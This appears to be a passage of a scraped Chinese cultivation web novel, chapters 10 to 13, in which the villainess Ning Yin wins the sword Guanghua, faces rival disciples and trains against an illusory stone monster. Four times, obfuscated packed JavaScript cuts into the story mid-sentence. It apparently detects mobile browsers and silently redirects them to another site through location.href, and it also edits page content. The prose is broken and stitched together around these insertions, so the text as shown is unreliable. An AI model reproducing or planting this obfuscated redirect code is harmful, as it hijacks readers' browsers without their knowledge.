周遭窃窃私语不绝,宁音目不斜视径自朝剑冢走去,心中一片平静。 选剑,心态最重要。 放眼望去,无数嶙峋的怪石插满了长剑,静静等待着自己的主人的到来。 “想必是为了下个月的宗门小比,不得不来剑阁碰碰运气,否则单凭她一个筑基修为,到时两手空空,打得过谁。” “你们看过小比名单了吗?你们猜我在名单上发现了谁?” “司师兄?” “不是!虽然司师兄这次出现在名单出乎大家意料,但还有一个人,宁音肯定耳熟。” “你说得是桑婉吧。” “桑婉?桑婉是谁?” 听到桑婉这个名字,宁音一怔。 当年‘宁音’自郕国来凌云宗学艺修炼,随身携带数十服侍之人,另有上百侍卫护送,排场可见一斑。 但凌云宗乃是修炼之地,除了日常打扫由杂役弟子负责外,其他事则自己处理,不许由人伺候,‘宁音’养尊处优多年,衣来伸手饭来张口,光是贴身服侍的侍女多达十余人,独自一人生活如何能习惯得来。 ‘宁音’在拜师之际大闹一场,最终得到禾青仙君应允,破例留下一名贴身婢女照顾她的起居。 但她不知道的是,来到凌云宗不久,桑婉便觉醒了灵根,在被‘宁音’又一次责打后终于忍不住奋起反抗离开了她,并通过凌云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15964893|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗的弟子考核,成功拜入清虚仙君门下,成为凌云宗的内门弟子。 说起桑婉,她对‘宁音’一直心怀恨意。 她出生郕国名门,在来到凌云宗前,有个青梅竹马的未婚夫,却因被公主选中,不得不留在凌云宗,等她觉醒灵根决心离开凌云宗时才发现,曾许诺会八抬大轿迎娶自己的未婚夫已有了新婚妻子。 作为一个读者,宁音看到这个剧情时还是很喜闻乐见的。 男人哪有修仙重要。 可惜桑婉并不这么想。 她恨‘宁音’,若不是‘宁音’,未婚夫厮守一生的新婚妻子会是自己,而非她人。 “曾经伺候她的侍女,觉醒灵根比她还要晚上十余年,如今已是筑基后期,即将踏入金丹期,当初宁音仗着自己公主的身份对她动辄打骂,天道好轮回,若是宗门小比那日匹配到了她,被自己曾经的侍女踹下擂台,看她还有何颜面继续待在凌云宗!” “……”宁音狠狠瞪了说话之人一眼。 关键时刻搞人心态的都是没爹的孤儿! “别分心。”沉稳的声音在宁音耳边响起,飘忽不定的心神仿佛吃下一颗定心丸。 宁音抬头望去,宴寒舟站在一侧,目光冷冽,带着毫不掩饰的杀意,缓缓扫过那几人。 “你怎么来了?” 宴寒舟不多言,“选剑。” 宁音沉下心,听从剑阁长老的指示释放灵识飘向剑冢中央。 她只有一炷香的时间。 这里的剑许多此前都是九州大陆陨落强者的本命剑,把把沾满了血腥气息,但这是最快得到一把本命剑的方式,毕竟炼就一柄新的本命剑,所需材料以及人力物力,没有几百上千年的世家底蕴根本炼不出来。 按照小说套路来说,主角在挑选本命剑时一定会选择一柄几乎没人要的剑,而这把剑一定是上古的神剑蒙尘于此,一待千年终于被慧眼识珠的主角选为了本命剑。 但宁音灵识穿梭于剑冢中央许久也没能找到这蒙尘的神剑,反倒是见到了许多光怪陆离的画面,充斥着血腥与暴力,甚至还有强大的剑灵试图攻击她,警告她,弱者没资格成为它的主人。 好好好,惹不起惹不起。 眼看一炷香时间即将到达,就在她焦头烂额之际,一柄黯淡无光的长剑斜插在地,剑灵蜷缩在角落,与世无争且浑身无血腥气息引起了她的注意。 “她竟看上了那把剑……” “嘁——也不掂量掂量自己几斤几两?那柄剑从未沾染过血腥之气,需心性至纯至善之人方能拔出,就连令仪师妹都失败了,她也配?简直是自取其辱!” “光华在此处已有数百年,令仪师妹说了非此剑不可,我就不信今日宁音能将这把剑带走!” 宁音走到那柄长剑前。 只要将长剑从怪石上拔出,便代表着剑灵认你为主,成为你的本命剑。 宁音没有丝毫犹豫,将手放在剑柄上,灵气自手心蔓延,剑灵似是心有所感,望向宁音。 噌—— 几乎是毫不费力,剑身自巨石抽出,雪亮的剑气霎时间照亮整片血腥浓郁的剑冢。 那道蜷缩角落的剑灵化作一道流光,如丝如缕缠绕在宁音周身,流转数周后,最终没入宁音灵海之中。 刹那间,宁音与手中的长剑心意相通,剑身尘锈尽褪,焕然如新,锋利剑身倒映出宁音那双如星光点缀的眼睛。 宁音思绪被获得本命剑的兴奋填满,她握着光华来到宴寒舟面前,眼底流光璀璨,“看!我有本命剑了!” 宴寒舟嘴角轻轻上扬,“恭喜。” 剑阁内一时间哗然。 “她……怎么可能!光华怎会认她为主!” “不是说光华只认可心性至纯至善的人吗?怎么会认可宁音?” “不可能!令仪师妹都失败了,她绝不可能!长老,宁音绝对动了什么手段!” 稳居高台的剑阁长老不过一眼便收回目光,“光华自愿认宁音为主,剑冢重地,不得喧哗!” 11.第 11 章 第十一章 质疑声随着剑阁长老的训斥而噤声。 宁音在众人虎视眈眈的目光下抱着光华离开剑阁。 光华剑,是剑阁数千柄剑中唯一一柄不曾沾染过血腥的剑,其来历众说纷纭。 有传言千年前光华的主人出生修仙名门,温柔善良,一生行侠仗义,光华从未出鞘,死后将光华放入剑冢,静待有缘人。 亦有传言说光华是凌霄仙尊亲手铸造,送给未婚妻成亲贺礼,可惜凌霄仙尊被魔道所害,光华亦不知所踪。 种种传言真真假假,唯一真切的,是光华剑自铸造后便不曾沾染血腥与杀气,在凌云宗已有几百上千年,日日都有人为它而来,可想要找到一位心性至纯至善之人何其难得,是以,光华在剑阁中宛如一颗钉子户,这些年来一直不曾认主。 宁音抱着剑,满脸愁容,“我也不知道这是光华剑,剑阁那里的剑灵都好凶,而且血腥杀气好重,我就想找个软柿子捏,没想到捏到光华头上。” 宴寒舟不明所以,“光华不好吗?” “你不知道,在小说里,光华是虞令仪的本命剑,虞令仪你知道是谁吗?”断定宴寒舟不知道,宁音继续自顾自说道:“栖云峰最受宠的小师妹,和我是对照组,她机灵古怪却心地善良,我嚣张跋扈却坏得没边,最重要的是,虞令仪是主角团成员之一,无论是师云昭还是司鹤羽,都很照顾她。” 见宴寒舟有话要说,宁音说道:“我知道你想说什么,我没觉得心虚抢了她的东西,你说的嘛,这世间你争我夺,没有什么注定是谁的,我只是觉得,过不了多久,就会有人来找我的麻烦。” 不出宁音所料,光华剑认宁音为主一事很快便传遍整个凌云宗。 不少弟子笃定光华之所以认宁音为主,定是宁音在其中动了手脚,否则光华至纯至净,怎会甘心成为宁音的本命剑? 因为此事,不少与虞令仪交好的弟子为她打抱不平,扬言要为她讨回公道! 宁音知道麻烦会来,但没想到会来得这么快,刚到暮云峰便被一众弟子拦下。 为首的人见着宁音手中的光华眼神微暗,沉声道:“听闻光华剑认主,今日我来一探究竟,宁音,我不知光华剑为何会选择你,但令仪师妹为了这把剑五年时间日日前往剑阁,若你愿意将此剑让出,我可以为你再找一把比光华更厉害的剑。” “……”如果没看错,说话这人应该就是栖云峰的大师兄,虞令仪的官方CP谢无虞,纯甜无渣,沉稳可靠大师兄和机灵古怪小师妹的设定宁音也磕过,可现在,当谢无虞的长矛对准自己时,她只想翻白眼。 谈恋爱谈得脑子都没了? 修仙世界的设定你一个在这修行了几百年的人不清楚吗? 本命剑是那么容易就能让来让去的吗? 剑阁里的剑哪一把不是待主人死后才被送入剑冢的?生前就没了本命剑的,除了被本命剑反噬,便是被人废去修为强行剥夺,此举不仅有伤根基,弄不好灵识受损,变成个五感尽失的废人。 如此致命的后遗症不提! 一侧的宴寒舟阴沉着脸,道:“让?我倒想听听你有什么办法让宁音让出光华。” 谢无虞掏出一颗丹药,“这颗本命丹可以护住你的心脉与灵根,若你愿意让出光华,我自会请师尊出面帮忙,定不会损害你的根基与修为。” 再多再好的丹药,只要触及本命剑就会有危险,到时一个不慎修为被废五感尽失变成个废人,她一个恶毒反派能找谁主持公道? 一个人怎么能说出这么没脑子的话来?脸皮这么厚是怎么练成的? 宁音冷脸相待,“我不让!” “那你要如何才能相让?只要你愿意将光华让出,什么条件我都答应。” “我不让!无论什么条件我都不让!剥离本命剑有多危险你又不是不知道,为了一把剑以身犯险,搁你身上你干吗?我又不傻,你与其一门心思想要得到光华,甚至还想请师尊出山,还不如为你的小师妹另寻一把更厉害的本命剑安慰安慰她。” 谢无虞身后有弟子怒道:“宁音,你速来骄纵跋扈,不敬师长,目中无人,心思歹毒,为达目的不折手段,甚至为了一株仙草敢和云昭师姐拔剑,我不信光华剑会认你为主!拔剑!我要和你打一场!” “我为什么要和你打一场?” “你不和我打你就是心虚,你定是在光华剑上做了手脚!你若是不拔剑,就把光华交出来!” “我不与你逞口舌之能,事实胜于雄辩,如今光华剑在我手里认我为主,是我的本命剑,你信不信对我而言并不重要。” “宁音,你别太过分!令仪师妹为了这把光华五年时间日日前往剑阁,整个凌云宗都知道光华是属于令仪师妹的,如今你使尽手段得到光华,此乃小偷行径!” “小偷行径?”宁音笑了,握紧了光华,“这世间你争我夺,没有什么注定是谁的,谁抢到才是谁的,你说令仪师妹为了这把剑五年时间日日前往剑阁,上天都给了她五年的时间,她没能拿下光华是她的问题,如今光华是我的本命剑,你说再多也是白费唇舌,我!不!让!” 扫视过愠怒的众人,宁音突然悟了,“我知道为什么虞令仪五年来都得不到光华了,心爱的剑成了别人的本命剑,她没有胆量当面来质问我,却撺掇你们来找茬,这便是原因!” “宁音!”谢无虞身后的弟子还欲分辨,却被谢无虞拦下,他望着宁音一字一句沉声道:“既然如此,宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15977599|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门小比那日,擂台上见。” 说完,转身便带人离开。 “……你恐吓我?你当我是厦大的吗?我告诉你,我可不怕你,擂台上见就擂台上见,打就打,你有本事宗门小比那天当着所有长老和掌门的面把光华夺走!否则我看不起你!”宁音在其背后愤怒比了个不友好手势,转头看向宴寒舟,“修仙世界少谈点恋爱,你看看谢无虞一个个的,谈得脑子都快没了!多吓人!” 宴寒舟却是若有思索望着她,“真没想到,前几天还一口一个不拿不属于自己的东西,如今……” “欺软怕硬不是人之常情吗?司鹤羽和师云昭我得罪不起,他们几个NPC都欺负到我头上来了,我还一味逃避,那我也太怂了点,最重要的是,光华认主又不是我的错,是光华自己的选择,不是我抢来的!” 宴寒舟认同点头。 “不过……”宁音也就强势了那么一会,回过神来气势又弱了下去,“我刚才说话没经过脑子,宗门小比那天,如果真碰上谢无虞,我是不是完蛋了?” 就以谢无虞和宁音之间的修为差别而言,这几乎是个不需要思考的答案。 如虽然已有丹药、心法、以及本命剑光华在身,但就算从现在开始努力修炼,这短短几天时间,就算是凌霄仙尊在世也打不过那几个天之骄子吧? 宁音翻开此次宗门小比的名单。 此次宗门小比,十二峰除了宁音所在的暮云峰外,每个峰有三名弟子参加,个个都是门派翘楚,但出乎宁音意料的是,她在名单里看到了司鹤羽的名字。 司鹤羽向来只参加七大宗门的大比,宗门内的小打小闹向来不参与。 毕竟掌门首徒,年轻一辈的弟子里,对他谁不是心服口服,往擂台上那么一站,谁打得过他? 前有桑婉需要提防,后有谢无虞需要对付,现在又来个司鹤羽,随机对上的几率大大增加,其他峰的弟子还有点到即止的可能,这三位,都不是能和她点到即止的关系。 “不可能,自己不可能这么倒霉,”宁音安慰自己,“只要第一场对上的不是桑婉谢无虞司鹤羽这三人就没关系,我现在已经有了光华,即使是上擂台,也能坚持个十分钟,十分钟后输,不丢人。” 面子这块她还是很看重的。 说完,她回头看向宴寒舟,“在为你找到天灵泉水之前你说会帮我的。” “我说过。” “下个月就是宗门小比了,时间紧任务重,你打算怎么帮我?” 宴寒舟将写有宗门小比名单的卷轴往后拉,卷轴尽数展开,他指着最后一个名字,“我说过,我会在你之前把他们打得爬不起来。” 宁音定睛一看,卷轴最后赫然写着三个字,宴寒舟。 12.第 12 章 第十二章 凌云宗分内门弟子与外门弟子,内门十二峰,每个峰少则几十、多则上百名弟子,细数之下内门弟子有数千人,而外门弟子则多达上万。 想要成为内门弟子,每年的考核至关重要,但也极其严苛,是以,上万名外门弟子每年能晋升为内门弟子的人数不过数十,接近千里挑一的比例。 在这种严苛至极的考核录取率下,外门弟子抓住一切可冒头的机会,力争上游,三个参加宗门小比的名额早已在外门弟子间争得死去活来,各不相让,宁音实在是好奇,宴寒舟是怎么得到这个名额的。 “你去见玉微仙君的时候我去了一趟外门。” “然后呢?” “动之以情晓之以理。” 宁音满脸写着‘你看我信吗’。 原主宴寒舟虽然只是个陪公主修仙的反派炮灰,但因其父是郕国丞相,从小在丞相的教导以及熏陶之下待人处事很有心机,在外门结交了不少弟子。 可以说宁音使坏的背后都有宴寒舟在出谋划策。 见宁音怀疑的目光,宴寒舟说道:“与其在意这些细枝末节,不如多花些时间潜心修炼,提升修为,我有一套适合光华剑的剑法,学吗?” 宁音实在害怕从宴寒舟嘴里听到什么惊世骇俗的话,收起卷轴,“学!当然要学!走,去后山!现在就学!” 与此同时,谢无虞与沉着脸与一众弟子离开暮云峰,身后一众弟子愤愤不平。 “师兄,我看那光华之所以认宁音为主,定是动了什么手脚,我听闻魔道有许多蛊惑人心的秘术,或许宁音正是用了这些旁门左道,我们应该向剑阁长老检举宁音!” “没错!令仪师妹都无法得到光华的认可,她宁音凭什么?” “可是剑阁长老说光华是自愿认宁音为主的。” “那我们就去找掌门!让掌门做主!” “对!找掌门!” “够了!”谢无虞沉声呵斥一声,身后弟子同仇敌忾的声音顿时噤声。 栖云峰殿前,一穿着粉色衣裙的女子快步迎了上来,一双眼睛如盈盈秋水,长得很是娇俏可爱,稍一皱眉,便令人心生保护的欲望。 “师兄!你回来了,怎么样,你去暮云峰了吗?光华真的认宁音为主了吗?” 谢无虞沉默以对。 粉色衣裙女子顿时红了眼,低声道:“是我不够好,所以这五年来一直得不到光华的认可,但我不明白,为什么得到光华剑认可的,是宁音。” 谢无虞也存了一丝疑虑。 按理来说,宁音挑选本命剑时剑阁长老在场,若是她使了任何的旁门左道,剑阁长老不可能看不出来。 但若宁音真是凭自己得到了光华剑的认可…… 不可能。 光华剑至纯至净,唯有至纯至善之人方能成为它的主人,宁音怎么可能? “令仪师妹,你别着急,光华认主一事定是宁音动了手脚,放眼整个凌云宗,除了令仪师妹你,还有谁能配得上光华剑?你放心,我们一定会帮你把光华剑夺回来!” 虞令仪入凌云宗的时间并不长,只比宁音入门的时间快了那么半年,名声却是一个天上一个地下。 禁地试炼中,虞令仪能为了一只跛腿的小兔子不顾安危与邪魔缠斗,而宁音遇到邪魔时却将身边的同门弟子推出去,为自己求得逃生的时机。 虞令仪对同门弟子,无论是内门弟子还是外门弟子,都一视同仁有求必应,反观宁音,对外蔑视,对内傲慢,丝毫不将人放在眼里。 同是一国公主,性情却是截然相反。 谢无虞轻声安慰她:“别妄自菲薄,光华剑认主不代表什么,兴许……正如他们所言,是宁音在其中动了手脚,你放心,我会帮你找一把比光华更好的本命剑。” “若,光华是自愿认主,宁音没用什么旁门左道呢?” 此言一出,鸦雀无声。 所有人怒视的目光望向说话的弟子。 该弟子顿时面红耳赤连声找补,“绝无这种可能!宁音若是没有用旁门左道,我倒立抄写门规!” 怒视的目光这才挪开。 虞令仪一时间心乱如麻,若是外人得了光华她倒也不至于如此难受,偏偏是与她前后脚入宗门的宁音,五年来的努力就此化为泡影,不甘的情绪在心底蔓延。 她抬头望向谢无虞,呢喃细语却无比坚定,“师兄,此次宗门小比,我要参加,我想知道我到底比宁音差在哪!” 谢无虞沉默良久,最终也只是一声叹息,“好。” “诶……那不是桑师妹吗?”有弟子见着桑婉从殿前走过,“她应该也知晓光华认宁音为主之事了。” “桑师妹也参加了此次宗门小比,她总算能有仇报仇有怨报怨了。” 桑婉远远听着议论纷纷的话语,沉默走进修炼场,眼前耳边尽是宁音嘲讽的话语。 “没错,我就是故意拆散你们,指名让你成为我的侍女。” “听说不到一年他便娶妻生子,妻子是个贤惠温柔的女子,一家三口幸福安宁。” “你若真想被那男的八抬大轿抬回家,现在走便是,以你如今的修为回到郕国,杀了他的新婚妻子谁又能拿你怎样?” “天下好男儿如此之多,你却选了一个最差劲的。” “他若真心爱你,又岂会在你随我进凌云宗后一年便娶妻生子,你应该感谢我给了你进凌云宗的机会,不对我感恩戴德反而要与我为敌,不知好歹的东西!” “胡说胡说!”桑婉猛地拔剑,将眼前幻象尽数斩于剑下。 宁音宁音! 你如此恶毒的一个人,凭什么能得到光华剑的认可! 我绝不会放过你!绝不! — 暮云峰。 暮云峰后山有一大片的竹林很是清幽静雅,适合独自一人打坐静修。 一阵刀剑相接的清脆碰撞声从竹林深处传来,嗖一声,光华脱手,被宴寒舟手中的木剑一招荡飞。 宁音揉着发麻的手腕,“我是你仇人吗这么大力。” 从未带过徒的宴寒舟深吸口气,“这套剑法来来回回我陪你练了二十多遍,为什么你连一招都接不住?光华认你为主,是因为你心底至纯至净没有邪念,你现在却连光华剑一丝的剑气都使不出,你在害怕什么?!” 宴寒舟的语气和表情让宁音想起当年在驾校学车时的教练,简直一个德行,她窝窝囊囊捡剑,嘀嘀咕咕道:“我还不是怕伤到你,你看,你是筑基,我也是筑基,刀剑无眼,伤到你就不好了。” 宴寒舟沉默。 就在宁音躬身捡剑的瞬间,眼前一阵恍惚,等宁音捡剑起身时,眼前一片竹林竟在顷刻间成了大片茂密的树林。 宁音环顾四周,却不见宴寒舟身影。 “宴寒舟?” “我知道你是恨铁不成钢,但是下个月才是宗门小比,还有得是时间,咱们可以一步一步慢慢来,总不能一口吃成个胖子你说对吗?” “我也没有摆烂,我不是已经把你教我的剑法学会了吗?只是想要使出杀伤力还需要勤加练习,心急吃不了热豆腐,这不是一蹴而就的事,我向你保证,我努力,好吗?” 宁音叹了口气,还欲说话,忽然听到密林深处传来地动山摇的声音,仿佛有什么强大的怪物破土而出,嘶吼着声音朝她急速奔来。 宁音手握光华不住后退张望四周,心惊胆战,“宴寒舟!你出来,什么东西来了?这什么地方?” 话音刚落,密林古树的缝隙中宁音隐约见到了什么,忙躲在一棵古树后,也是奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15984024|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那怪物似乎能闻到宁音的气味,就站在宁音不远处四处寻找着。 宁音抱着光华剑心砰砰直跳,偷偷回头看了一眼身后空地上的怪物。 只一眼,宁音险些惊掉下巴。 那怪物足足有十多米高,虽然身躯并非血肉,由无数块黑沉沉的石头组成,头上却有一双猩红的血瞳,每走一步,地面都为之震颤,碎石从它身上簌簌滚落。 以往电视里才能看到的画面,近距离之下视觉冲击竟如此强烈。 似是没找到宁音,巨石怪愤怒锤在周身两颗古树上,古树轰然倒塌。 “你在害怕什么?”宴寒舟的声音于四面八方传来。 “你说我在害怕什么!” “拔剑!” “宴寒舟!”这未免也太恨铁不成钢了! 这和开着教练车逼你上高速有什么区别! 宁音深吸口气,拔剑出鞘,鼓足了勇气正准备从树后偷袭,却提前一步被巨石怪嗅到了行踪,一拳狠狠砸向宁音藏身的古树,瞬间,两人合抱的树干应声断裂,树屑纷飞。 巨大冲击之下,宁音鼓起的勇气瞬间烟消云散,在林间狼狈逃窜。 “宴寒舟,我们讲讲道理好不好,欲速则不达,你不能一上来就上高难度,循序渐进你懂吗?你这样鸡娃是不会……”话还未说完,宁音只觉后背一阵剧痛,整个人被震得飞出,重重砸在树干上跌倒在地。 胸前后背剧烈疼痛传来,宁音一时间气血翻涌,喉头一甜,张嘴喷出一大口鲜血。 “……好痛。” “你要习惯这种疼痛。”宴寒舟古井无波的声音在她耳边响起,“还记得师云昭吗?司鹤羽,桑婉,谢无虞,虞令仪,他们都是你的仇敌,未来都会将你逼到这个地步,你若不反抗,只会成为他们的剑下冤魂!” 巨石怪一步步朝她逼近,由无数颗巨大岩石组成的手臂高高举起。 那拳头简直像一座小山包,带着撕裂空气的恐怖威压,朝着宁音狠狠砸下! 宁音瞳孔紧缩,脸色煞白,挣扎着连连后退,一个翻身,险之又险躲过那致命一击。 但周围数丈的地面,在巨石怪的巨拳下崩碎塌陷,裹挟着无数碎石和尘土,如同海啸般朝她砸来。 “我现在就要成为……咳咳咳……冤魂了!” 眼瞧着宁音躲过一击,巨石怪再次朝她举起了双拳。 “你若不杀它,死的就是你!” “你难道甘心一辈子停留在筑基?” “你难道不想让那些小看你的人对你刮目相看?” “你难道不想改变自己作为反派的命运?” “闭嘴!” “拔剑!” 宁音握紧了手中的光华,猛地抬头,死亡的恐惧笼罩下,求生的本能榨出一丝难能可贵的勇气,她眼中掠过一丝视死如归的决绝,下一瞬,光华剑化作一道流光,直刺巨石怪心口。 猩红的血瞳瞪得滚圆,满满的难以置信。 光华一剑刺穿它的身体,庞大的身躯开始寸寸崩解,消散,最终化作漫天飞灰,消失在林中。 宁音的身影在灰尘中显现,手握光华,衣袂翻飞,发丝凌乱,气喘吁吁看着眼前一切,眼底尽是难以置信之色。 自己刚才,亲手解决了巨石怪? 只用了一招? 霎那间眼前场景突变,再回神时,她已从茂密树林回到暮云峰后山那片清幽竹林里。 一侧的宴寒舟还在原地,此刻却单膝跪地呕出大口鲜血。 “刚才的巨石怪,是你吗?” “那只是我的一个分身。”宴寒舟拭去嘴角血迹,站起身来说道:“九州大陆,强者为尊,想要在这里活下去,就要挣脱一切禁锢你的枷锁,牢记这个世界的规则,否则,迟早死无葬身之地。” 13.第 13 章 第十三章 凌云宗外门,积微山。 一条蜿蜒曲折的山路直通云雾缭绕的天门,无数前来凌云宗求仙的身影沿着山路奋力攀爬,即使精疲力竭也咬牙坚持,唯有爬至山顶天门处通过考核,方能成为凌云宗的外门弟子。 数量如此庞大的外门弟子,有些人终其一生都无法成为内门弟子,真正踏入修仙的大门,但凌云宗外门弟子的身份,以及每月提供的少量下品灵石、基础修炼功法,足以让他们在凡尘百姓间被尊称为仙师受人敬仰。 宁音被人嫉恨的原因无非她一个外门弟子的资质,却能成为暮云峰玉微仙君的亲传弟子,偏偏她还不懂得谦卑,趾高气昂,骄横跋扈,以至树敌无数。 莫大山是登天门中拜师修仙的一员。 他跟在浩浩荡荡的队伍中,与周遭其他穿着华服甚至带有灵宠异兽的富家子弟不同的是,他出自贫苦农家,日复一日往返于田地与破旧的草屋,在测出灵根那日,一个破烂的包裹,几件换洗的破旧衣物和几个炊饼,以及脚下一双为他来日娶妻时准备的布鞋,便是全家能为他凑足的所有家当。 现如今布鞋早已磨得破烂。 前来报名参加考核的人都希望在成为凌云宗外门弟子后踏入修仙之路,但莫大山并不在意什么修仙,只要能进外门,他便很满意了。 一颗下品灵石在凡间换取的银两足够他一家五口生活三年有余,更不要提在得知自己觉醒可修炼的灵根时,大人对他一家另眼相待,若真成了凌云宗外门弟子,此后父母便不用那么辛苦,弟妹也能找到更好的归宿。 凭借着这股信念,莫大山爬过不知多少个黑夜白天,终于在双脚磨得鲜血淋漓之际攀上了山顶。 眼前大殿巍峨耸立,气象万千,远非他在城中所见最富丽堂皇的府邸可比,驻守在殿外的外门弟子穿着统一服饰,威严而傲岸维持秩序。 没见过世面的莫大山被眼前景象震得呆立当场,茫然四顾间,全然没注意踩在身侧人的脚上。 “啧!没长眼睛?小爷的鞋都被你给踩脏了!” 莫大山猛然回神,慌忙躬身:“少爷恕罪!小的这就给您擦干净!” 不少外门弟子望了过来。 那穿着华服神情嫌弃倨傲的少爷不由得皱眉,“算了算了,算我倒霉。”说着便拂了拂衣袖,走到一侧离他远了些。 队伍依次往前。 在前往凌云宗大殿前需将手放置在一块石头上,这块石头能检测体内灵根是否觉醒,天赋如何,没有觉醒灵根会被淘汰,天赋太弱亦会被淘汰。 凌云宗乃七大宗门之一,决不允许有弄虚作假之徒进入凌云宗。 轮到莫大山了。 在他队伍的前十人中,便已有七人未曾通过测灵石的测试,叫嚣着不服,最后都被外门弟子扔下了山。 那么多身份显赫的富家子弟都无法通过,他一个农家出身的小人物,能有修仙的潜质吗? 莫大山心中忐忑,将手心放在测灵石上,止不住的发抖。 测灵石旁的外门弟子看了他一眼,测灵石上未有任何异样。 “无灵根。” 莫大山结结巴巴,“无灵根?怎……怎么可能呢?我测过……” “凡间测灵石多有不准,一切以宗门测灵石为准。” 莫大山身后的富家少爷闻得此话一把将莫大山推到一侧,“又是个弄虚作假企图浑水摸鱼的东西,滚下去!” 莫大山笨拙解释:“不是的!我们那有位德高望重仙长替我看过,说我有修仙的潜质,天赋极高……” “噗——哈哈哈一个没有灵根的废物,还天赋极高,也不拿个镜子照照自己。” “仙长,您让我再试试,再试一次,我肯定是有灵根的!” 外门弟子却不听他解释,架着将人扔下了山。 天旋地转间,他重重砸落在地,浑身骨头如被碾碎了一般的剧痛袭来,挣扎多次却难以站立,狼狈伏地。 他艰难抬头,目光穿透尘烟,望向那高悬云霄遥不可攀的天门,恍然方知,原来自己爬了这么高。 爬上山需要几天几夜,下山却只需一瞬。 几道流光划破天际,落在积微山顶。 司鹤羽率一众内门弟子出现在大殿前的广场之上,引得一众喧哗骚乱,外门弟子连忙上前躬身行礼,“见过大师兄,不知道大师兄今日前来积微山有何事吩咐。” 司鹤羽环顾四周并未多言,目光望向一侧的测灵石,眉心微蹙,只一眼便道:“测灵石碎了,去换一个。” 那正被外门弟子告知无灵根的富家子弟眼前一亮连声道:“我就说我觉醒灵根乃是经过千元仙长的点拨,怎会突然无灵根,多谢这位师兄!” 司鹤羽不置一词,大步跨入殿中。 不多时,便有管理外门事务的长老前来,“不知师兄来积微山有何吩咐?” 司鹤羽沉声道:“听闻前日有外门弟子身亡,我奉师尊之命前来探查此事,带我去看看尸体。” 外门弟子众多,门规森严,禁止同门相残,更有戒律堂弟子巡逻监督,尽管如此,外门弟子间的摩擦争斗仍层出不穷,闹出人命亦不在少数,一般而言,经戒律堂弟子查明真相严惩后便也罢了,掌门怎会亲自过问此事? 管事的长老恭敬道:“是,大师兄这边请。” 一行人跟着管事的长老来到停尸房中,掀开蒙身的白布,司鹤羽目光落在尸体那道贯穿身体的剑伤上,问身侧的男子,“思勉,这道剑伤你如何看?” 身为戒律堂执法长老坐下首席大弟子,思勉一眼便看出蹊跷,“据我所知,这名弟子修为已突破炼气跨入筑基期,若想一剑将其毙命,凶手修为必是炼气之上,此非外门弟子可以为之。” “我听闻他原本是要参加此次宗门小比。” “是。” “如今他已死,他的名额由谁顶替?” “这……”管事长老沉声道:“由外门弟子宴寒舟顶替。” 司鹤羽眉心紧蹙,“宴寒舟?” 屋外飞檐翘角之上停留着一只蓝色小鸟,听得屋内众人所言,展翅朝远方飞去。 — 暮云峰后山。 宁音手握光华在林中奔逃穿梭,身后的巨石怪迈着沉重的步伐向她追来,每一步都朝着宁音奔逃的方向狠狠砸去,巨响在林间回荡。 宁音身形矫健,在呼啸的岩石巨臂下闪避,每一次闪躲都惊险万分,坚硬的岩石擦着她的衣角掠过,带起的劲风刮得脸颊生疼,忽而心头一惊,回头只见巨石朝她当头砸下,避无可避,持剑反手硬生生挡下一记重击,震得虎口一阵剧痛。 来不及多想,她毫不犹豫地将体内近半灵力灌入光华剑中,剑随心动,剑身铮鸣,瞬间幻化出数柄光华剑影,将巨石怪贯穿。 巨石怪发出一声痛苦嘶嚎,庞大的身躯剧烈摇晃,坚硬的黑色岩石更是大片龟裂,就此化作满天飞灰。 “杀死巨石怪的第八种方式。” 不过两日,宁音已经能在幻境中轻松杀死巨石怪,自信心逐日膨胀,从一开始惧怕下个月的宗门小比,到如今甚至有些跃跃欲试。 幻境消散。 她望向一侧打坐的宴寒舟。 这两日宴寒舟一直闭关修炼,炼化凌霄仙尊传承给他的神魂之力,大约两日,并嘱咐自己不要打扰他,若中途被人打扰恐有性命之忧。 宁音记得小说中师云昭得到凌霄仙尊的传承之后,是掌门亲自为她护法,并出手帮她炼化神魂之力,否则单凭师云昭一人,绝无可能炼化如此磅礴的神魂之力。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16004640|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 